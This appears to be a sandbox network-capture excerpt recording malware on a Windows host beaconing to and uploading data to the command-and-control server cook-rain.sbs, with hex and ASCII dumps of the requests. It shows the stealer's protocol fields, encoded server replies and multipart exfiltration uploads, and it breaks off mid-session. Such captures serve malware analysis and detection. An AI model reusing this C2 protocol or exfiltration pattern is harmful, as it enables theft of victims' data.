2024-11-18 18:04:45 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=elk62ef9kk6su2h32du07mi2dp; expires=Fri, 14-Mar-2025 11:51:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OdvMgZAcwzDaWEeV6Aj5obijyhkAtuCYI8i%2FOHdZLEuq7R6XswVZtM69grnwEkV8xie%2BKRXpl%2BASL6LC1SDZPIJiJS3jEgwZVOrhAz6rc7229iK5oE4WReuFPRlCVhUG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e25c9afca22d-MSP alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24720&sent=189&recv=458&lost=0&retrans=0&sent_bytes=2829&recv_bytes=566217&delivery_rate=116230&cwnd=32&unsent_bytes=0&cid=3ca66a52313d667a&ts=5688&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49993	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:44 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 18:04:44 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 18:04:45 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=93cgr459i4de49ndeqj65ear3m; expires=Fri, 14-Mar-2025 11:51:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oPXM%2FPGWYm8h1jd9BZrUoU5d2115EDpbcO1H%2FOEdr1BSZQFioRom03UAZ%2BYBCeUyvUDAFoIZ6qfPfH6orHtnSrZS6215CTnLaw5ypaiTM9DE2xnXIonpLw4mo9nNr0do"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e27ceb10626f-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24646&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=117327&cwnd=32&unsent_bytes=0&cid=a78e466a7b4adf07&ts=809&x=0"
2024-11-18 18:04:45 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 18:04:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49996	188.114.96.3	443	8020	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:46 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-18 18:04:46 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=368D4092CF5D385C63CFCF7E6C45F838
2024-11-18 18:04:46 UTC	1006	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9giie88s7iul5ohr6rl9gpsli9; expires=Fri, 14-Mar-2025 11:51:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=maBBkula3dvBJ7kh2Q0A1o3UJtwsKgGOjkHugFLpGINKZzLqnJu0Y%2BrgqlkhL1UZX49mocJml4k2M6%2F9r8YkZknh2ffWavfwxC%2BFIt6zk5%2F51Dc%2FzwkxztHY8QLi5A8O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2854a1cbd26-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20185&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=985&delivery_rate=143437&cwnd=32&unsent_bytes=0&cid=86340f13141655df&ts=365&x=0"
2024-11-18 18:04:46 UTC	214	IN	Data Raw: 64 30 0d 0a 67 66 31 7a 32 70 4c 65 57 2f 6e 30 59 31 36 4d 4b 7a 78 62 48 4d 70 38 65 66 31 4e 4c 4c 75 71 37 62 58 64 43 59 31 57 77 69 44 61 68 6c 47 76 73 4f 52 35 6b 59 41 58 4c 72 5a 33 45 77 63 7a 2b 30 52 4d 30 33 38 64 6a 6f 54 63 68 4f 34 6e 76 47 43 65 44 2b 36 62 46 59 61 39 75 6a 36 66 32 67 59 6d 36 51 6b 51 65 58 71 2b 58 6b 50 4e 59 51 37 65 69 4e 65 45 6f 43 58 32 64 4c 63 43 75 39 38 62 72 75 61 75 59 61 58 62 50 33 47 39 45 77 6c 31 4c 76 74 4a 56 38 78 38 48 35 57 62 32 2b 6e 79 65 76 6b 7a 6f 30 33 64 30 67 47 37 2f 4c 6f 30 6c 4e 6f 47 4a 75 6b 4a 45 48 6c 36 76 6c 35 44 7a 57 45 4f 33 6f 6a 58 68 4b 42 55 0d 0a Data Ascii: d0gf1z2pLeW/n0Y16MKzxbHMp8ef1NLLuq7bXdCY1WwiDahlGvsOR5kYAXLrZ3Ewcz+0RM038djoTchO4nvGCeD+6bFYa9uj6f2gYm6QkQeXq+XkPNYQ7eiNeEoCX2dLcCu98bruauYaXbP3G9Ewl1LvtJV8x8H5Wb2+nyevkzo03d0gG7/Lo0lNoGJukJEHl6vl5DzWEO3ojXhKBU
2024-11-18 18:04:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49997	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:46 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 18:04:46 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 18:04:47 UTC	1004	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q286qk2kpr6idnp9pv93h86p7f; expires=Fri, 14-Mar-2025 11:51:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3lmf%2BIcfYoxHOqH5E%2FHOAn%2BBw5j5jbz4hZ04wJttF6o6e8leLqzCoshGNZ81GiBIvk%2FKjnr4MvNkrQHkdAQFMzqxl8Ao3PKiA1axWAcv74nk9oq6zCx8gWVeJMuL4jsN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2898c9ee665-DEN alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=22804&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=127386&cwnd=32&unsent_bytes=0&cid=fab2bf063c66ca8f&ts=412&x=0"
2024-11-18 18:04:47 UTC	365	IN	Data Raw: 34 34 36 63 0d 0a 73 6d 31 69 77 32 6e 51 54 65 54 59 32 64 6d 74 37 4b 61 56 63 62 48 51 57 46 64 72 47 6d 34 43 2f 35 37 4a 2b 76 4d 63 35 79 7a 4a 54 78 54 68 55 2b 52 68 78 71 75 38 2b 35 65 59 31 4f 41 55 6e 66 49 35 4d 30 6b 67 43 47 4f 54 37 61 7a 57 30 57 71 4b 44 6f 67 4c 41 36 38 61 74 57 48 47 76 61 48 37 6c 37 66 64 74 78 54 66 38 6d 4a 31 44 6e 41 4d 59 35 50 38 71 4a 47 63 62 49 74 50 32 67 45 46 71 77 79 7a 4b 59 57 30 74 4c 7a 49 69 63 66 2f 48 39 69 39 4d 44 70 4a 4e 6b 78 6e 68 62 7a 7a 32 4c 35 35 6b 30 33 2f 44 42 47 6f 53 36 31 68 6e 2f 71 38 74 34 2f 57 68 50 51 55 30 37 77 2b 4d 77 42 79 42 6d 71 62 2f 61 32 51 67 33 57 42 52 4e 6f 50 42 71 6f 47 75 6a 32 49 76 72 4f 33 7a 6f 50 48 74 31 32 54 74 53 4a 31 55 54 68 66 55 70 37 74 75 Data Ascii: 446csm1iw2nQTeTY2dmt7KaVcbHQWFdrGm4C/57J+vMc5yzJTxThU+Rhxqu8+5eY1OAUnfI5M0kgCGOT7azW0WqKDogLA68atWHGvaH7l7fdtxTf8mJ1DnAMY5P8qJGcbItP2gEFqwyzKYW0tLzIicf/H9i9MDpJNkxnhbzz2L55k03/DBGoS61hn/q8t4/WhPQU07w+MwByBmqb/a2Qg3WBRNoPBqoGuj2IvrO3zoPHt12TtSJ1UThfUp7tu
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 50 2f 68 37 65 73 6a 63 2f 42 6e 73 4d 5a 35 66 32 70 4a 4b 56 63 34 68 49 30 41 39 41 37 30 75 31 4e 38 62 69 2b 35 6a 4b 6e 73 50 37 42 5a 47 49 65 69 70 48 59 55 78 6e 6b 62 7a 7a 32 4a 6c 37 68 6b 33 62 41 41 4f 70 41 4b 41 76 6c 4c 79 32 76 74 32 49 77 66 6b 5a 30 4b 41 77 4f 77 39 37 42 57 75 55 2b 61 79 63 30 54 44 46 53 63 68 50 57 4f 45 71 76 79 53 4b 73 4b 79 37 6a 35 47 4b 37 6c 50 55 76 6e 70 74 53 58 77 4e 5a 4a 7a 34 70 5a 61 56 63 6f 4e 41 33 51 41 47 71 77 75 31 4a 59 36 79 75 72 62 45 67 63 54 79 48 74 65 30 4e 6a 51 4d 4f 45 49 67 6d 75 54 72 77 4e 46 51 67 6b 33 43 54 54 57 69 42 62 77 6f 6b 50 71 6b 39 64 62 4f 77 2f 74 54 69 2f 49 30 4d 41 5a 71 44 58 4b 59 38 72 6d 55 6c 48 69 49 54 64 34 50 42 61 59 47 76 43 6d 42 75 62 4f 2f 7a 6f Data Ascii: P/h7esjc/BnsMZ5f2pJKVc4hI0A9A70u1N8bi+5jKnsP7BZGIeipHYUxnkbzz2Jl7hk3bAAOpAKAvlLy2vt2IwfkZ0KAwOw97BWuU+ayc0TDFSchPWOEqvySKsKy7j5GK7lPUvnptSXwNZJz4pZaVcoNA3QAGqwu1JY6yurbEgcTyHte0NjQMOEIgmuTrwNFQgk3CTTWiBbwokPqk9dbOw/tTi/I0MAZqDXKY8rmUlHiITd4PBaYGvCmBubO/zo
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 69 2f 49 32 50 41 6c 7a 42 6d 53 64 2b 36 61 64 6b 6e 6d 47 51 39 63 46 44 71 59 50 76 69 61 4c 76 4c 75 38 79 34 76 57 38 68 72 66 76 6e 70 37 53 58 38 55 49 4d 57 38 68 4a 2b 48 66 61 70 4e 77 51 5a 41 76 6b 57 72 62 34 47 32 2b 2b 4f 50 69 63 48 2f 47 4e 57 36 4f 69 63 4d 64 67 64 68 6c 2f 71 71 6c 5a 31 34 68 55 2f 51 43 51 79 68 44 4c 55 39 6c 4c 2b 39 71 63 58 4f 69 72 63 55 79 2f 4a 69 64 54 39 6f 47 33 47 4c 76 70 36 62 6e 33 43 43 57 4a 41 51 54 72 68 4c 74 53 50 47 34 76 75 77 7a 34 4c 44 2f 78 58 58 75 6a 55 36 41 47 6f 4e 62 4a 50 75 72 4a 69 59 63 49 70 43 32 51 49 48 72 41 43 34 49 6f 4b 39 75 76 75 42 7a 73 50 76 55 34 76 79 44 43 55 45 64 43 4a 72 6b 66 58 72 68 39 39 6e 78 55 6e 63 54 31 6a 68 44 37 34 6e 6a 4c 57 79 73 63 57 42 7a 66 63 Data Ascii: i/I2PAlzBmSd+6adknmGQ9cFDqYPviaLvLu8y4vW8hrfvnp7SX8UIMW8hJ+HfapNwQZAvkWrb4G2++OPicH/GNW6OicMdgdhl/qqlZ14hU/QCQyhDLU9lL+9qcXOircUy/JidT9oG3GLvp6bn3CCWJAQTrhLtSPG4vuwz4LD/xXXujU6AGoNbJPurJiYcIpC2QIHrAC4IoK9uvuBzsPvU4vyDCUEdCJrkfXrh99nxUncT1jhD74njLWyscWBzfc
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 48 55 4f 59 45 77 34 33 64 4f 4d 72 64 4e 66 76 77 37 50 51 52 6e 68 44 4c 35 76 33 76 71 33 75 4d 4f 47 79 2f 45 61 33 37 67 7a 50 67 56 7a 43 47 79 55 2b 61 32 5a 6c 48 75 45 53 74 77 46 42 71 49 49 76 53 43 4a 73 76 76 31 6a 34 6e 63 74 30 75 54 6c 79 30 2b 42 33 35 4d 66 39 50 6c 36 35 2b 64 50 74 30 4f 33 41 59 47 70 77 36 2b 4c 6f 43 79 76 72 50 4c 6a 38 4c 78 45 4e 79 32 50 7a 51 47 66 41 42 75 6c 2f 32 71 6c 4a 70 78 6a 6b 75 51 51 55 43 6d 45 2f 4a 33 78 6f 75 34 72 64 69 65 79 4c 63 4d 6e 61 74 36 4d 67 55 34 56 43 43 63 37 71 47 53 6e 33 75 4b 53 39 4d 41 42 36 77 4e 76 69 57 50 73 72 32 30 78 70 7a 48 2b 78 33 55 76 44 59 37 42 48 49 50 62 64 32 79 36 35 2b 4a 50 74 30 4f 2f 41 67 4e 6a 77 43 2b 4b 4d 61 6c 39 61 4b 50 69 63 69 33 53 35 4f 2b Data Ascii: HUOYEw43dOMrdNfvw7PQRnhDL5v3vq3uMOGy/Ea37gzPgVzCGyU+a2ZlHuEStwFBqIIvSCJsvv1j4nct0uTly0+B35Mf9Pl65+dPt0O3AYGpw6+LoCyvrPLj8LxENy2PzQGfABul/2qlJpxjkuQQUCmE/J3xou4rdieyLcMnat6MgU4VCCc7qGSn3uKS9MAB6wNviWPsr20xpzH+x3UvDY7BHIPbd2y65+JPt0O/AgNjwC+KMal9aKPici3S5O+
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 67 63 59 39 2f 4e 76 5a 75 48 64 59 68 43 6b 42 42 4f 75 45 75 31 49 38 62 69 2b 37 33 41 68 38 66 34 45 74 71 2b 4e 7a 41 41 66 51 31 6d 6d 66 61 68 6d 4a 64 34 68 45 76 61 44 41 47 72 41 72 55 6e 67 62 6d 70 2b 34 48 4f 77 2b 39 54 69 2f 49 54 4d 68 74 32 48 43 43 43 73 72 4c 59 6c 6e 4c 46 46 70 41 4c 43 71 34 50 74 53 4f 41 76 37 32 32 7a 6f 48 46 39 78 7a 58 75 54 4d 7a 43 48 55 4a 62 5a 6e 75 6f 5a 4f 65 63 6f 78 43 33 55 39 4f 34 51 79 71 62 39 37 36 69 72 62 42 67 4d 50 68 55 38 7a 38 49 33 55 4f 64 45 77 34 33 66 32 6e 6c 35 4a 78 68 6b 33 52 42 52 4b 7a 42 37 73 6e 67 37 61 77 74 63 6d 63 77 76 67 61 30 4c 45 7a 4d 67 46 30 42 6d 4f 61 76 4f 58 59 6c 6d 62 46 46 70 41 73 46 37 45 47 38 6a 44 49 6f 2f 75 38 77 38 36 63 74 78 76 65 75 6a 41 78 44 Data Ascii: gcY9/NvZuHdYhCkBBOuEu1I8bi+73Ah8f4Etq+NzAAfQ1mmfahmJd4hEvaDAGrArUngbmp+4HOw+9Ti/ITMht2HCCCsrLYlnLFFpALCq4PtSOAv722zoHF9xzXuTMzCHUJbZnuoZOecoxC3U9O4Qyqb976irbBgMPhU8z8I3UOdEw43f2nl5Jxhk3RBRKzB7sng7awtcmcwvga0LEzMgF0BmOavOXYlmbFFpAsF7EG8jDIo/u8w86ctxveujAxD
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 56 2f 36 75 63 6c 58 6d 41 54 64 77 45 42 36 49 45 74 69 61 49 73 37 54 37 67 63 37 44 37 31 4f 4c 38 68 73 75 43 6e 51 42 49 49 4b 79 73 74 69 57 63 73 55 57 6b 41 4d 4f 70 41 75 34 4b 59 4b 2f 76 62 48 4b 6a 73 2f 30 48 4e 65 30 50 6a 6f 4a 63 77 56 68 6d 2f 6d 68 6b 35 64 7a 68 6b 6a 57 54 30 37 68 44 4b 70 76 33 76 71 62 6f 4d 4b 43 77 37 63 4d 6e 61 74 36 4d 67 55 34 56 43 43 57 38 4b 2b 66 6b 58 4f 47 52 74 55 4c 43 71 51 4c 75 6a 32 4f 75 72 79 70 33 59 37 4e 38 68 2f 51 73 6a 34 7a 41 48 34 50 5a 4e 32 79 36 35 2b 4a 50 74 30 4f 2f 51 4d 48 69 41 79 70 62 35 6e 30 6f 76 76 49 67 6f 53 76 55 39 4b 35 4d 44 6f 45 65 77 70 6a 6c 76 6d 68 6d 5a 5a 32 69 46 7a 54 41 41 2b 6c 43 37 30 70 67 4c 75 30 76 63 69 48 78 66 38 55 6b 2f 78 36 4d 68 45 34 56 43 Data Ascii: V/6uclXmATdwEB6IEtiaIs7T7gc7D71OL8hsuCnQBIIKystiWcsUWkAMOpAu4KYK/vbHKjs/0HNe0PjoJcwVhm/mhk5dzhkjWT07hDKpv3vqboMKCw7cMnat6MgU4VCCW8K+fkXOGRtULCqQLuj2Ouryp3Y7N8h/Qsj4zAH4PZN2y65+JPt0O/QMHiAypb5n0ovvIgoSvU9K5MDoEewpjlvmhmZZ2iFzTAA+lC70pgLu0vciHxf8Uk/x6MhE4VC
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 6c 39 45 77 78 55 47 51 56 7a 6e 68 41 72 55 30 6c 36 79 32 71 38 6a 4f 2b 37 6c 54 79 2f 4a 69 64 54 78 37 41 6d 36 61 36 72 72 56 74 6d 69 50 53 63 41 49 46 36 35 4c 2f 47 2b 41 2b 75 50 6f 67 63 37 41 35 6c 4f 4c 34 6d 68 75 58 43 74 62 4d 4d 2f 6a 35 59 48 52 61 4d 55 57 67 6b 46 41 73 30 76 71 62 38 47 35 71 61 6e 4a 6a 64 4c 30 56 4f 32 4d 48 53 38 45 66 68 74 78 6f 38 4b 73 67 70 78 34 6b 6c 2b 63 47 67 4f 76 42 62 55 35 78 76 54 37 74 49 2f 57 2f 62 64 62 6b 34 31 30 64 52 45 34 56 43 43 6f 2f 36 57 57 6c 6d 69 55 41 2f 63 56 44 61 63 63 6f 32 2f 49 2b 72 33 37 6c 39 36 4b 74 78 66 43 38 6d 4a 6c 57 79 4e 5a 4d 38 71 73 2b 59 66 66 5a 38 56 59 6b 46 64 53 37 30 75 67 62 39 37 36 2f 4c 6a 64 6e 4d 4c 30 42 64 44 31 42 41 73 6e 66 77 70 6c 6d 75 7a Data Ascii: l9EwxUGQVznhArU0l6y2q8jO+7lTy/JidTx7Am6a6rrVtmiPScAIF65L/G+A+uPogc7A5lOL4mhuXCtbMM/j5YHRaMUWgkFAs0vqb8G5qanJjdL0VO2MHS8Efhtxo8Ksgpx4kl+cGgOvBbU5xvT7tI/W/bdbk410dRE4VCCo/6WWlmiUA/cVDacco2/I+r37l96KtxfC8mJlWyNZM8qs+YffZ8VYkFdS70ugb976/LjdnML0BdD1BAsnfwplmuz
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 38 68 70 33 67 67 42 74 78 75 6c 49 4d 62 30 2b 37 32 50 31 70 61 35 55 39 65 6a 65 6d 31 5a 4b 6c 63 31 7a 71 76 37 79 6f 34 77 6e 41 37 47 54 31 6a 7a 52 66 49 39 78 75 4c 37 2f 4d 79 63 31 76 45 51 78 62 46 39 43 7a 64 66 41 6d 65 63 36 72 75 50 6e 6a 47 72 65 50 45 78 50 72 51 49 76 43 47 42 72 4b 72 37 67 63 37 4c 74 30 76 71 38 6e 4a 31 4e 6a 5a 4d 65 4e 32 6b 36 36 32 53 63 49 74 4a 78 68 35 4e 68 67 57 31 4c 70 43 71 72 4c 53 41 6f 50 4c 57 55 35 33 79 50 48 56 52 4b 6b 49 67 6d 65 33 72 77 4d 45 73 33 68 75 44 57 46 44 7a 46 50 77 32 78 71 7a 37 34 35 33 41 68 4f 56 54 69 2f 4a 39 4e 68 74 71 43 6d 4f 4c 2f 2b 79 6d 72 31 6d 4c 53 64 45 5a 45 4b 77 48 6b 79 79 58 73 49 57 46 32 6f 33 4b 2b 52 54 46 6f 33 70 37 53 58 64 4d 4f 4b 53 38 34 39 69 75 Data Ascii: 8hp3ggBtxulIMb0+72P1pa5U9ejem1ZKlc1zqv7yo4wnA7GT1jzRfI9xuL7/Myc1vEQxbF9CzdfAmec6ruPnjGrePExPrQIvCGBrKr7gc7Lt0vq8nJ1NjZMeN2k662ScItJxh5NhgW1LpCqrLSAoPLWU53yPHVRKkIgme3rwMEs3huDWFDzFPw2xqz7453AhOVTi/J9NhtqCmOL/+ymr1mLSdEZEKwHkyyXsIWF2o3K+RTFo3p7SXdMOKS849iu
2024-11-18 18:04:47 UTC	1369	IN	Data Raw: 30 64 42 37 45 49 38 41 4f 42 74 37 65 46 38 62 6e 56 38 41 4f 52 6c 44 6b 6a 43 6a 68 43 49 49 57 38 38 39 69 38 62 49 4a 65 30 30 30 73 70 67 61 2b 62 35 6e 30 6f 76 76 5a 7a 70 79 6b 58 5a 4f 67 65 6d 31 4a 50 77 39 79 6a 2f 71 6f 6a 70 49 35 75 33 44 39 48 51 65 78 43 50 41 65 69 37 36 74 72 73 79 65 77 38 6b 74 2f 71 41 39 4a 51 6f 36 4b 56 72 66 7a 62 32 62 6b 58 43 43 44 70 35 50 47 4f 46 54 38 67 4b 55 76 61 75 34 6a 61 76 2b 74 53 4c 46 73 54 6f 37 44 6a 67 54 4c 6f 53 38 76 64 6a 4a 4c 63 73 4f 77 6b 39 59 34 55 79 38 49 6f 65 35 74 62 6a 64 6e 4d 4c 30 42 64 44 31 42 41 73 6d 63 77 31 77 6b 4f 32 6d 6e 49 64 41 75 32 6e 57 43 67 65 66 4e 59 55 2b 67 61 72 35 6e 63 79 59 78 37 64 64 6b 36 70 36 62 55 6c 66 43 6d 57 61 76 4f 58 59 6c 54 37 64 44 Data Ascii: 0dB7EI8AOBt7eF8bnV8AORlDkjCjhCIIW889i8bIJe000spga+b5n0ovvZzpykXZOgem1JPw9yj/qojpI5u3D9HQexCPAei76trsyew8kt/qA9JQo6KVrfzb2bkXCCDp5PGOFT8gKUvau4jav+tSLFsTo7DjgTLoS8vdjJLcsOwk9Y4Uy8Ioe5tbjdnML0BdD1BAsmcw1wkO2mnIdAu2nWCgefNYU+gar5ncyYx7ddk6p6bUlfCmWavOXYlT7dD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50008	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:48 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LCKP6D50V8REA25JT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: cook-rain.sbs
2024-11-18 18:04:48 UTC	12835	OUT	Data Raw: 2d 2d 4c 43 4b 50 36 44 35 30 56 38 52 45 41 32 35 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 36 38 44 34 30 39 32 43 46 35 44 33 38 35 43 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4c 43 4b 50 36 44 35 30 56 38 52 45 41 32 35 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 43 4b 50 36 44 35 30 56 38 52 45 41 32 35 4a 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --LCKP6D50V8REA25JTContent-Disposition: form-data; name="hwid"368D4092CF5D385C63CFCF7E6C45F838--LCKP6D50V8REA25JTContent-Disposition: form-data; name="pid"2--LCKP6D50V8REA25JTContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 18:04:49 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 18:04:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5f2m4csqu8ljt10pv581jhsmd5; expires=Fri, 14-Mar-2025 11:51:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tvw6309L9hIB%2BwSBDPTX%2BLMNZBRggNmwrSFCjhpiD7O5QRV015KR2PzWy%2BFOez8r4cQ4NSlemk2nDu1Ihi%2F%2FCa6aAYv6xM0kDN%2BtO7khLojS8pbThPdyKTaAXdN%2BVsUz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e49e2961d2aab7e-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46694&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13771&delivery_rate=61961&cwnd=32&unsent_bytes=0&cid=4113d224727dedd8&ts=745&x=0"
2024-11-18 18:04:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 18:04:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50015	188.114.96.3	443	3292	C:\Users\user\AppData\Local\Temp\1007212001\51d383286f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 18:04:51 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XHSDP6QGEAKAEV03LB2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: cook-rain.sbs
